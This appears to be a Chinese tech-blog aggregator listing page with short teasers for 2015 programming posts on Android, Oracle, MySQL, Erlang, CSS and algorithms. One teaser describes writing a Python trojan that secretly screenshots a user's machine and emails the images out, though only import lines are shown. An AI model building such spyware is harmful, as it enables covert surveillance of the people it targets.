首页 > 2015年02月14日 > 全部分享
在子线程中创建Handler和looper并与主线程进行交互
分析完上面那篇文章,基本理解了handler的实现原理,乘热打铁,这里我们利用handler原理,在子线程中创建一个handler和looper可能很多面试时候问道,子线程中能不能new一个handler ?答案是可以的,但是因为主线程系统默认在ActivityThread中已将帮我们创建好一个lo...
分类:编程语言   时间:2015-02-14 12:11:02    收藏:0  评论:0  赞:0  阅读:958
Android 开发笔记 “The constructor AlertDialog.Builder(new View.OnKeyListener(){}) is undefined”
1、The constructor AlertDialog.Builder(new View.OnKeyListener(){}) is undefined等,应该有很多类似问题比如你的源码文件名是 Activity.java,就改成Dialog dialog=new AlertDialog.Bui...
分类:移动平台   时间:2015-02-14 12:10:52    收藏:0  评论:0  赞:0  阅读:344
erlang-gb_tree,gb_set
gb_tree, gb_set, 均为一个二叉树。具体怎么实现,这边不在累赘,官方有手册,how to use ? 才是我们的重点1. 初始化1> gb_trees:empty().{0,nil}> gb_sets:empty().{0,nil}3> 这样即可完成初始化2. 插入gb_trees:i...
分类:其他   时间:2015-02-14 12:10:32    收藏:0  评论:0  赞:0  阅读:690
备份集、备份片、映像副本概念
备份集(BACKUP SET):是RMA所提供的一种用于存储备份信息的逻辑结构,并且备份集只能用RMAN命令建立和转储,备份集可以存储一个或多个文件的备份信息。备份集只包含数据文件已用的数据块的信息,而不会包含空数据块。备份集不仅可以存放到磁盘,而且可以存放到磁带。备份片(BACKUP PIECE)...
分类:其他   时间:2015-02-14 12:10:22    收藏:0  评论:0  赞:0  阅读:310
acle联机日志文件的维护
1、刷新重做日志缓存的时机 a.commit b.缓存满了 c.checkpoint,checkpoint的触发有两种机制:定时触发,由log_checkpoint_interval[1]参数决定间隔的时间,单位秒;0表示禁用定量触发,由log_checkpoint_timeout[2]参数决定,表...
分类:其他   时间:2015-02-14 12:10:12    收藏:0  评论:0  赞:0  阅读:323
pubwin数据云备份
由于pubwin自带的异地备份一直不好用,并且pubwin自带的37分钟备份也不方便手动备份,考虑用python 与写一个基于酷盘的pubwin数据备份工具(本来想基于百度云的,发现百度云用的人太多,并且百度默认给我空间比酷盘小),刚学python用来练手,蛮好的 程序基于pc端,也就是说一般是需要...
分类:Windows开发   时间:2015-02-14 12:10:02    收藏:0  评论:0  赞:0  阅读:346
如何减少浏览器的reflow与repaint
**1.避免在document上直接进行频繁的DOM操作,如果确实需要可以采用off-document的方式进行,具体的方法包括但不完全包括以下几种:** (1). 先将元素从document中删除,完成修改后再把元素放回原来的位置 (2). 将...
分类:其他   时间:2015-02-14 11:07:22    收藏:0  评论:0  赞:0  阅读:272
PHP程序员的技术成长规划
第一阶段:基础阶段(基础PHP程序员) 重点:把LNMP搞熟练(核心是安装配置基本操作) 目标:能够完成基本的LNMP系统安装,简单配置维护;能够做基本的简单系统的PHP开发;能够在PHP中型系统中支持某个PHP功能模块...
分类:Web开发   时间:2015-02-14 11:07:12    收藏:0  评论:0  赞:0  阅读:361
2014年年终总结和2015年规划
今天是2月14日,是西洋的情人节,不过节日早已被中国化了,从法定上来说,今天是不用上班的,之前一直很忙没有在意这个细节,来到办公楼下,发现楼下的大门是关闭的,才想起来今天是不是要放假了。快速走到办公室...
分类:其他   时间:2015-02-14 11:07:02    收藏:0  评论:0  赞:0  阅读:279
数据库安全权限控制管理思想
web账户授权实战案例 a.生产环境主库用户的账号授权: GRANT SELECT,INSERT,UPDATE,DELETE ON blog.*TO 'blog'@10.0.0.%' identified by 'oldboy456'; b.生产环境从库用户的授权: GRANT SELECT ON blog.*TO 'blog'@'10.0.0.%'identified by 'oldbo...
分类:数据库技术   时间:2015-02-14 11:06:02    收藏:0  评论:0  赞:0  阅读:313
mysql数据库sql语句调优 、
mysql数据库sql语句调优 、 索引设计原则: 索引列一般为where子句中的列或连接字句中的列 尽量不对基数小的列做索引,如性别列 尽可能使用短索引:如果对字符列索引尽量指定最小长度。 (short Keys are better,Integer best) create index cityname on city(city(10)); 复合索引前缀特性,索引的顺序很重要。 ...
分类:数据库技术   时间:2015-02-14 11:05:52    收藏:0  评论:0  赞:0  阅读:287
python简易木马编写
功能为对用户机器进行截图,并将截图结果发送至程序指定邮箱。 系统由两个功能组成:获取屏幕截图和发送邮件到邮箱。 源码如下: # -*- coding: utf-8 -*- import win32gui import win32ui import win32con import win32api import os,os.path from email.mime.text import ...
分类:编程语言   时间:2015-02-14 11:05:44    收藏:0  评论:0  赞:0  阅读:588
shell变量
shell变量分为环境变量(全局变量),和局部变量; 环境变量要想永久生效,则可以放在/etc/profile,或 .bash_profile 例如: ①当前用户下生效: vi .bash_profile  用 . .bash_profile 检验:echo $OLDBOY ②:全局下面生效  vi /etc/profile export OLDBOY='oldboy'...
分类:系统服务   时间:2015-02-14 11:05:32    收藏:0  评论:0  赞:0  阅读:286
HTML的footer置于页面最底部的方法
需求:有时候,当页面内容较短,撑不开浏览器高度,但是又希望footer能在窗口最低端。   思路:footer的父层的最小高度是100%,footer设置成相对于父层位置绝对(absolute)置底(bottom:0),父层内要预留footer的高度。   Html代码                                                CSS如...
分类:Web开发   时间:2015-02-14 11:05:22    收藏:0  评论:0  赞:0  阅读:302
Android学习:进程以及优先级
1:Android中的进程process 当一个android应用启动,系统会启动一个进程和一个主线程来运行这个应用。 Android系统会尽力保持这个进程的稳定和安全。 但是,在某些特殊情况下,总会移除旧的进程来回收内存,用于新的或者重要的进程。 当要回收内存的时候,系统要决定那些进程应该保留,那些进程应该杀掉。 因此,在android进程管理中,设置了进程的优先级别。优先级别取决于进...
分类:移动平台   时间:2015-02-14 11:05:12    收藏:0  评论:0  赞:0  阅读:331
说说Android LRU缓存算法实现学习笔记(一)
在我们的手机应用开发时候,我们经常会遇到大数据访问的时候,我们通常会考虑以下几个方面的情况。一、手机内存的限制还必须保证应用反应的流畅;二、尽量小的流量消耗,不然,你的应用流畅度再好体验再好,用户还是会毫不犹豫的卸载掉你的应用。大数据量访问的情况下,数据缓存是我们一定会考虑到的解决方案。而作为缓存,我们很重要的会考虑以下几点:1.访问速度;2.逐出旧的缓存策略;3.最好还能考虑到一定的并发度。这篇我们主要说说LRU策略的缓存算法实现,我们就用图片缓存为例来谈谈Android应用开发中的缓存实现。...
分类:移动平台   时间:2015-02-14 11:05:02    收藏:0  评论:0  赞:0  阅读:371
IOS SDK详解之KVO
原创Blog,转载请注明出处 blog.csdn.net/hello_hwc前言:KVC和KVO是帮助我们驾驭objective C动态特性工具。KVO是建立在KVC基础上的,所以不了解KVC的同学可以参见我的这篇博客。这里我不会再重复讲解KVC。 http://blog.csdn.net/hello_hwc/article/details/43769765 本文的内容 KVO的定义...
分类:移动平台   时间:2015-02-14 11:04:52    收藏:0  评论:0  赞:0  阅读:288
codeforces 509D Restoring Numbers
codeforces 509D Restoring Numbers 题意: v[i][j]=(a[i]+b[j])%k 现在给出n*m矩阵v[][], 求a[],b[]和k, 任意一种情况都行。 限制: 1 思路: 对于数组a[], 无论怎么变, 数组之间的差始终不变, b[]也同理 利用这个求出k 再设a[0]=0,b[0]=0,求出剩下的东西。 {CSDN:COD...
分类:其他   时间:2015-02-14 11:04:42    收藏:0  评论:0  赞:0  阅读:192
oracle使用临时变量
在Oracle数据库中,可以使用变量来编写通用的sql语句,在运行sql语句时,为变量输入值,就会在sql语句中将变量替换成这些值。 临时变量只在使用它的sql语句中有效,变量值不能保留,临时变量也称为替换变量。在sql语句中,如果在某个变量前面使用了&符号,那么久表示该变量是一个临时变量,执行sql语句时,系统会提示用户为该变量提供一个具体的数据。 例如,在sql*plus中执行以下的命令:...
分类:数据库技术   时间:2015-02-14 11:04:32    收藏:0  评论:0  赞:0  阅读:222
java用数组实现栈
1.1.  栈的数据结构 栈是一种先进后出的数据结果,只能在一端(称为栈顶(top))对数据项进行插入和删除。 1.2.  Java实现 StackTest package ch04; public class StackTest { public static void main(String[] args) { Arra...
分类:编程语言   时间:2015-02-14 11:04:22    收藏:0  评论:0  赞:0  阅读:335
795条   上一页 1 ... 26 27 28 29 30 ... 40 下一页
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!